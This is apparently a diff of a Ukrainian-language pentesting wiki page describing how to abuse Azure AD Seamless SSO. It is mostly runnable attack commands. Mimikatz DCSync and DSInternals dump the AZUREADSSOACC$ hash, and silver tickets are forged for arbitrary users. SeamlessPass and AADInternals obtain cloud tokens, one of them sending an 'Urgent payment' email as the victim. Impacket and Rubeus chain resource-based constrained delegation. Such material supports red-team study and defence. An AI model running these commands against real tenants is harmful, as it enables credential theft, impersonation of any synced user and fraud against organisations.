Як [пояснено в цьому блозі](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), наявність будь-якої з попередніх вимог дуже спрощує використання інструменту **SeamlessPass** для доступу до хмарних ресурсів як скомпрометований користувач або як будь-який користувач, якщо у вас є хеш або пароль облікового запису **`AZUREADSSOACC$`**.
|
||||
|
||||
Нарешті, з TGT можливо використовувати інструмент [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) з:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Додаткова інформація про налаштування Firefox для роботи з seamless SSO може бути [**знайдена в цьому блозі**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Отримання хешів облікового запису AZUREADSSOACC$
|
||||
|
||||
**Пароль** користувача **`AZUREADSSOACC$` ніколи не змінюється**. Тому адміністратор домену може скомпрометувати **хеш цього облікового запису**, а потім використовувати його для **створення срібних квитків** для підключення до Azure з **будь-яким синхронізованим локальним користувачем**:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -38,14 +87,20 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
> [!NOTE]
|
||||
> З поточною інформацією ви можете просто використовувати інструмент **SeamlessPass**, як зазначено раніше, щоб отримати токени azure та entraid для будь-якого користувача в домені.
|
||||
> Ви також можете використовувати попередні техніки (та інші), щоб отримати хеш пароля жертви, яку ви хочете видати за себе, замість облікового запису `AZUREADSSOACC$`.
|
||||
|
||||
#### Creating Silver Tickets
|
||||
|
||||
З хешем ви тепер можете **генерувати срібні квитки**:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
@@ -53,57 +108,84 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
Щоб використати срібний квиток, слід виконати наступні кроки:
|
||||
### Використання Silver Tickets з Firefox
|
||||
|
||||
Щоб використати silver ticket, слід виконати наступні кроки:
|
||||
|
||||
1. **Запустіть браузер:** Потрібно запустити Mozilla Firefox.
|
||||
2. **Налаштуйте браузер:**
|
||||
- Перейдіть до **`about:config`**.
|
||||
- Встановіть параметр для [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) на вказані [значення](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
- Встановіть параметр для [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) на вказане [значення](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Перейдіть до `Налаштування` Firefox > Знайдіть `Дозволити одноразовий вхід Windows для облікових записів Microsoft, робочих і навчальних` і увімкніть його.
|
||||
3. **Доступ до веб-додатку:**
|
||||
- Відвідайте веб-додаток, інтегрований з доменом AAD організації. Загальним прикладом є [Office 365](https://portal.office.com/).
|
||||
- Відвідайте веб-додаток, інтегрований з доменом AAD організації. Загальним прикладом є [login.microsoftonline.com](https://login.microsoftonline.com/).
|
||||
4. **Процес аутентифікації:**
|
||||
- На екрані входу введіть ім'я користувача, залишивши поле пароля порожнім.
|
||||
- Щоб продовжити, натисніть TAB або ENTER.
|
||||
|
||||
> [!TIP]
|
||||
> Це не обходить MFA, якщо вона увімкнена
|
||||
> [!WARNING]
|
||||
> Це **не обходить MFA, якщо вона увімкнена** для користувача.
|
||||
|
||||
#### Варіант 2 без dcsync - SeamlessPass
|
||||
|
||||
Цей напад також можна виконати **без атаки dcsync**, щоб бути більш непомітним, як [пояснено в цьому блозі](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Для цього вам потрібен лише один з наступних:
|
||||
|
||||
- **TGT скомпрометованого користувача:** Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати його, використовуючи трюк з делегуванням фальшивого TGT, реалізований у багатьох інструментах, таких як [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) та [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Золотий квиток:** Якщо у вас є ключ KRBTGT, ви можете створити TGT, який вам потрібен для атакованого користувача.
|
||||
- **NTLM хеш або AES ключ скомпрометованого користувача:** SeamlessPass зв'яжеться з контролером домену з цією інформацією, щоб згенерувати TGT.
|
||||
- **NTLM хеш або AES ключ облікового запису AZUREADSSOACC$:** З цією інформацією та ідентифікатором безпеки (SID) користувача, якого потрібно атакувати, можливо створити сервісний квиток і аутентифікуватися в хмарі (як виконано в попередньому методі).
|
||||
|
||||
Нарешті, з TGT можливо використовувати інструмент [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) з:
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
```
|
||||
Додаткова інформація про налаштування Firefox для роботи з seamless SSO може бути [**знайдена в цьому блозі**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
#### ~~Створення квитків Kerberos для користувачів тільки в хмарі~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть **встановити SID для будь-якого користувача в хмарі**. Таким чином, квитки Kerberos **можна створити також для користувачів тільки в хмарі**. Єдина вимога полягає в тому, що SID є правильним [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Зміна SID для адміністраторів тільки в хмарі зараз **блокована Microsoft**.\
|
||||
> Для отримання інформації перевірте [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Cloud через обмежену делегацію на основі ресурсів <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Будь-хто, хто може керувати обліковими записами комп'ютерів (`AZUREADSSOACC$`) у контейнері або OU, в якому знаходиться цей обліковий запис, може **налаштувати обмежену делегацію на основі ресурсів для облікового запису та отримати до нього доступ**.
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
Для виконання атаки потрібно:
|
||||
|
||||
- `WriteDACL` / `GenericWrite` над `AZUREADSSOACC$`
|
||||
- Обліковий запис комп'ютера, яким ви керуєте (хеш і пароль) - ви можете створити один
|
||||
|
||||
|
||||
1. Крок 1 – Додайте свій власний обліковий запис комп'ютера
|
||||
- Створює `ATTACKBOX$` і виводить його SID/NTLM хеш. Будь-який доменний користувач може це зробити, якщо MachineAccountQuota > 0
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
2. Крок 2 – Надати RBCD на `AZUREADSSOACC$` - Записує SID вашої машини в `msDS-AllowedToActOnBehalfOfOtherIdentity`.
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
3. Крок 3 – Підробити TGS для будь-якого користувача (наприклад, alice)
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
Ви тепер можете використовувати **TGS для доступу до ресурсів Azure як підроблений користувач.**
|
||||
|
||||
|
||||
### ~~Створення квитків Kerberos для користувачів тільки в хмарі~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть **встановити SID для будь-якого користувача в хмарі**. Таким чином, квитки Kerberos **можна створити також для користувачів тільки в хмарі**. Єдина вимога полягає в тому, що SID має бути правильним [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Зміна SID користувачів-адміністраторів тільки в хмарі тепер **блокована Microsoft**.\
|
||||
> Для отримання інформації перевірте [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: Я у вашому хмарі, читаю електронні листи всіх - злом Azure AD через Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [TR19: Я у вашій хмарі, читаю електронні листи всіх - злом Azure AD через Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user